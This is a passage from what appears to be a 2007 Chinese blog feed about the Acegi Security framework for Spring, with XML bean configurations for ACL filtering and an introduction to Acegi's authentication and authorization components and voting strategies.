rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="afterAclRead"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="afterAclCollectionRead"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,128,0)">&lt;!--</span><span style="COLOR: rgb(0,128,0)"> Processes AFTER_ACL_COLLECTION_READ configuration settings </span><span style="COLOR: rgb(0,128,0)">--&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="afterAclCollectionRead"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.afterinvocation.BasicAclEntryAfterInvocationCollectionFilteringProvider"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="aclManager"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="aclManager"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="requirePermission"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.SimpleAclEntry.READ"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;<br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,128,0)">&lt;!--</span><span style="COLOR: rgb(0,128,0)"> Processes AFTER_ACL_READ configuration settings </span><span style="COLOR: rgb(0,128,0)">--&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">bean </span><span style="COLOR: rgb(255,0,0)">id</span><span style="COLOR: rgb(0,0,255)">="afterAclRead"</span><span style="COLOR: rgb(255,0,0)"> class</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.afterinvocation.BasicAclEntryAfterInvocationProvider"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="aclManager"</span><span style="COLOR: rgb(0,0,255)">&gt;&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="aclManager"</span><span style="COLOR: rgb(0,0,255)">/&gt;&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">property </span><span style="COLOR: rgb(255,0,0)">name</span><span style="COLOR: rgb(0,0,255)">="requirePermission"</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.SimpleAclEntry.ADMINISTRATION"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;</span><span style="COLOR: rgb(128,0,0)">ref </span><span style="COLOR: rgb(255,0,0)">local</span><span style="COLOR: rgb(0,0,255)">="org.acegisecurity.acl.basic.SimpleAclEntry.READ"</span><span style="COLOR: rgb(0,0,255)">/&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">list</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">property</span><span style="COLOR: rgb(0,0,255)">&gt;</span><span style="COLOR: rgb(0,0,0)"><br>&nbsp;&nbsp;&nbsp;</span><span style="COLOR: rgb(0,0,255)">&lt;/</span><span style="COLOR: rgb(128,0,0)">bean</span><span style="COLOR: rgb(0,0,255)">&gt;</span></div>
afterAclCollectionRead 会对配置AFTER_ACL_COLLECTION_READ的方法进行拦截，这里是 sample.contact.ContactManager.getAll方法，它会遍历方法返回的domainObject，然后挨个通过 aclManager判断当前用户对domainObject的权限，如果和需要的权限不和，则过滤掉。呵呵，传说中的虎牙子就在此时产生了！<br>afterAclRead则依次类推。<br>参考了ss wiki里相关的文档，特别是差沙和cac的文档，写的相当好。另外acegi的代码也是相当的易读。
<img src ="http://www.blogjava.net/junky/aggbug/127764.html" width = "1" height = "1" /><br><br><div align=right><a style="text-decoration:none;" href="http://www.blogjava.net/junky/" target="_blank">junky</a> 2007-07-03 10:39 <a href="http://www.blogjava.net/junky/archive/2007/07/03/127764.html#Feedback" target="_blank" style="text-decoration:none;">发表评论</a></div>]]></description></item><item><title>Acegi简介</title><link>http://www.blogjava.net/junky/archive/2007/06/28/126773.html</link><dc:creator>junky</dc:creator><author>junky</author><pubDate>Thu, 28 Jun 2007 04:44:00 GMT</pubDate><guid>http://www.blogjava.net/junky/archive/2007/06/28/126773.html</guid><wfw:comment>http://www.blogjava.net/junky/comments/126773.html</wfw:comment><comments>http://www.blogjava.net/junky/archive/2007/06/28/126773.html#Feedback</comments><slash:comments>0</slash:comments><wfw:commentRss>http://www.blogjava.net/junky/comments/commentRss/126773.html</wfw:commentRss><trackback:ping>http://www.blogjava.net/junky/services/trackbacks/126773.html</trackback:ping><description><![CDATA[Acegi安全系统，是一个用于Spring Framework的安全框架，能够和目前流行的Web容器无缝集成。它使用了Spring的方式提供了安全和认证安全服务，包括使用Bean Context，拦截器和面向接口的编程方式。因此，Acegi安全系统能够轻松地适用于复杂的安全需求。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 安全涉及到两个不同的概念，认证和授权。前者是关于确认用户是否确实是他们所宣称的身份。授权则是关于确认用户是否有允许执行一个特定的操作。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 在Acegi安全系统中，需要被认证的用户，系统或代理称为"Principal"。Acegi安全系统和其他的安全系统不同，它并没有角色和用户组的概念。<br>Acegi系统设计<br>&nbsp;&nbsp;关键组件<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;Acegi安全系统包含以下七个关键的功能组件：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 Authentication对象，包含了Principal，Credential和Principal的授权信息。同时还可以包含关于发起认证请求的客户的其他信息，如IP地址。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2 ContextHolder对象，使用ThreadLocal储存Authentication对象的地方。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3 AuthenticationManager，用于认证ContextHolder中的Authentication对象。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4 AccessDecissionManager，用于授权一个特定的操作。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;5 RunAsManager，当执行特定的操作时，用于选择性地替换Authentication对象。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6 Secure Object拦截器，用于协调AuthenticationManager，AccessDecissionManager，RunAsManager和特定操作的执行。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;7 ObjectDefinitionSource，包含了特定操作的授权定义。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;这七个关键的功能组件的关系如下图所示（图中灰色部分是关键组件）：<br><br><br><strong>安全管理对象</strong><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Acegi安全系统目前支持两类安全管理对象。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第一类的安全管理对象管理AOP Alliance的MethodInvocation，开发人员可以用它来保护Spring容器中的业务对象。为了使Spring管理的Bean可以作为MethodInvocation来使用，Bean可以通过ProxyFactoryBean和BeanNameAutoProxyCreator来管理，就像在Spring的事务管理一样使用。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 第二类是FilterInvocation。它用过滤器（Filter）来创建，并简单地包装了HTTP的ServletRequest，ServletResponse和FilterChain。FilterInvocation可以用来保护HTTP资源。通常，开发人员并不需要了解它的工作机制，因为他们只需要将Filter加入web.xml，Acegi安全系统就可以工作了。<br><br><strong>安全配置参数</strong><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 每个安全管理对象都可以描述数量不限的各种安全认证请求。例如，MethodInvocation对象可以描述带有任意参数的任意方法的调用，而FilterInvocation可以描述任意的HTTP URL。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Acegi安全系统需要记录应用于每个认证请求的安全配置参数。例如，对于BankManager.getBalance（int accountNumber）方法和BankManager.approveLoan（int applicationNumber）方法，它们需要的认证请求的安全配置很不相同。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为了保存不同的认证请求的安全配置，需要使用配置参数。从实现的视角来看，配置参数使用ConfigAttribute接口来表示。Acegi安全系统提供了ConfigAttribute接口的一个实现，SecurityConfig，它把配置参数保存为一个字符串。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ConfigAttributeDefinition类是ConfigAttribute对象的一个简单的容器，它保存了和特定请求相关的ConfigAttribute的集合。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 当安全拦截器收到一个安全认证请求时，需要决定应用哪一个配置参数。换句话说，它需要找出应用于这个请求的ConfigAttributeDefinition对象。这个查找的过程是由ObjectDefinitionSource接口来处理的。这个接口的主要方法是public ConfigAttributeDefinition getAttributes(Object object)，其中Object参数是一个安全管理对象。因为安全管理对象包含有认证请求的详细信息，所以ObjectDefinitionSource接口的实现类可以从中获得所需的详细信息，以查找相关的ConfigAttributeDefiniton对象。<br><br><br><strong>Acegi如何工作</strong><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 为了说明Acegi安全系统如何工作，我们设想一个使用Acegi的例子。通常，一个安全系统需要发挥作用，它必须完成以下的工作：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;1 首先，系统从客户端请求中获得Principal和Credential；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;2 然后系统认证Principal和Credential信息；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;3 如果认证通过，系统取出Principal的授权信息；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;4 接下来，客户端发起操作请求；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;5 系统根据预先配置的参数检查Principal对于该操作的授权；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;6 如果授权检查通过则执行操作，否则拒绝。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;那么，Acegi安全系统是如何完成这些工作的呢？首先，我们来看看Acegi安全系统的认证和授权的相关类： <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;安全拦截器的抽象基类，它包含有两个管理类，AuthenticationManager和AccessDecisionManager。AuthenticationManager用于认证ContextHolder中的Authentication对象（包含了Principal，Credential和Principal的授权信息）；AccessDecissionManager则用于授权一个特定的操作。<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;下面来看一个MethodSecurityInterceptor的例子：<br>
<pre class=overflow>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;bean id="bankManagerSecurity" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="net.sf.acegisecurity.intercept.method.MethodSecurityInterceptor"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="validateConfigAttributes"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;true&lt;/value&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="authenticationManager"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;ref bean="authenticationManager"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="accessDecisionManager"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;ref bean="accessDecisionManager"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;property name="objectDefinitionSource"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;value&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; net.sf.acegisecurity.context.BankManager.delete*=<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ROLE_SUPERVISOR,RUN_AS_SERVER<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; net.sf.acegisecurity.context.BankManager.getBalance=<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; ROLE_TELLER,ROLE_SUPERVISOR,BANKSECURITY_CUSTOMER,RUN_<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/value&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/bean&gt; </pre>
<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;上面的配置文件中，MethodSecurityInterceptor是AbstractSecurityInterceptor的一个实现类。它包含了两个管理器，authenticationManager和accessDecisionManager。这两者的配置如下：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;
<pre class=overflow>&lt;bean id="authenticationDao" class="net.sf.acegisecurity.providers.dao.jdbc.JdbcDaoImpl"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="dataSource"&gt;&lt;ref bean="dataSource"/&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/bean&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;bean id="daoAuthenticationProvider" <br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; class="net.sf.acegisecurity.providers.dao.DaoAuthenticationProvider"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="authenticationDao"&gt;&lt;ref bean="authenticationDao"/&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/bean&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;bean id="authenticationManager" class="net.sf.acegisecurity.providers.ProviderManager"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="providers"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;list&gt;&lt;ref bean="daoAuthenticationProvider"/&gt;&lt;/list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/bean&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;bean id="roleVoter" class="net.sf.acegisecurity.vote.RoleVoter"/&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;bean id="accessDecisionManager" class="net.sf.acegisecurity.vote.AffirmativeBased"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="allowIfAllAbstainDecisions"&gt;&lt;value&gt;false&lt;/value&gt;&lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;property name="decisionVoters"&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;list&gt;&lt;ref bean="roleVoter"/&gt;&lt;/list&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; &lt;/property&gt;<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&lt;/bean&gt;</pre>
<br><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 准备工作做好了，现在我们来看看Acegi安全系统是如何实现认证和授权机制的。以使用HTTP BASIC认证的应用为例子，它包括下面的步骤：<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 1. 用户登录系统，Acegi从acegisecurity.ui子系统的安全拦截器（如BasicProcessingFilter）中得到用户的登录信息（包括Principal和Credential）并放入Authentication对象，并保存在ContextHolder对象中；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 2. 安全拦截器将Authentication对象交给AuthenticationManager进行身份认证，如果认证通过，返回带有Principal授权信息的Authentication对象。此时ContextHolder对象的Authentication对象已拥有Principal的详细信息；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 3. 用户登录成功后，继续进行业务操作；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 4. 安全拦截器（bankManagerSecurity）收到客户端操作请求后，将操作请求的数据包装成安全管理对象（FilterInvocation或MethodInvocation对象）；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 5. 然后，从配置文件（ObjectDefinitionSource）中读出相关的安全配置参数ConfigAttributeDefinition；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 6. 接着，安全拦截器取出ContextHolder中的Authentication对象，把它传递给AuthenticationManager进行身份认证，并用返回值更新ContextHolder的Authentication对象；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 7. 将Authentication对象，ConfigAttributeDefinition对象和安全管理对象（secure Object）交给AccessDecisionManager，检查Principal的操作授权；<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 8. 如果授权检查通过则执行客户端请求的操作，否则拒绝；<br><br><strong>AccessDecisionVoter</strong><br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 注意上节的accessDecisionManager是一个AffirmativeBased类，它对于用户授权的投票策略是，只要通过其中的一个授权投票检查，即可通过；它的allowIfAllAbstainDecisions属性值是false，意思是如果所有的授权投票是都是弃权，则通不过授权检查。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Acegi安全系统包括了几个基于投票策略的AccessDecisionManager，上节的RoleVoter就是其中的一个投票策略实现，它是AccessDecisionVoter的一个子类。AccessDecisionVoter的具体实现类通过投票来进行授权决策，AccessDecisionManager则根据投票结果来决定是通过授权检查，还是抛出AccessDeniedException例外。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; AccessDecisionVoter接口共有三个方法：<br>public int vote(Authentication authentication, Object object, ConfigAttributeDefinition config);<br>public boolean supports(ConfigAttribute attribute);<br>public boolean supports(Class clazz);<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 其中的vote方法返回int返回值，它们是AccessDecisionVoter的三个静态成员属性：ACCESS_ABSTAIN,，ACCESS_DENIED和ACCESS_GRANTED，它们分别是弃权，否决和赞成。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; Acegi安全系统中，使用投票策略的AccessDecisionManager共有三个具体实现类：AffirmativeBased、ConsensusBased和UnanimousBased。它们的投票策略是，AffirmativeBased类只需有一个投票赞成即可通过；ConsensusBased类需要大多数投票赞成即可通过；而UnanimousBased类需要所有的投票赞成才能通过。<br>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 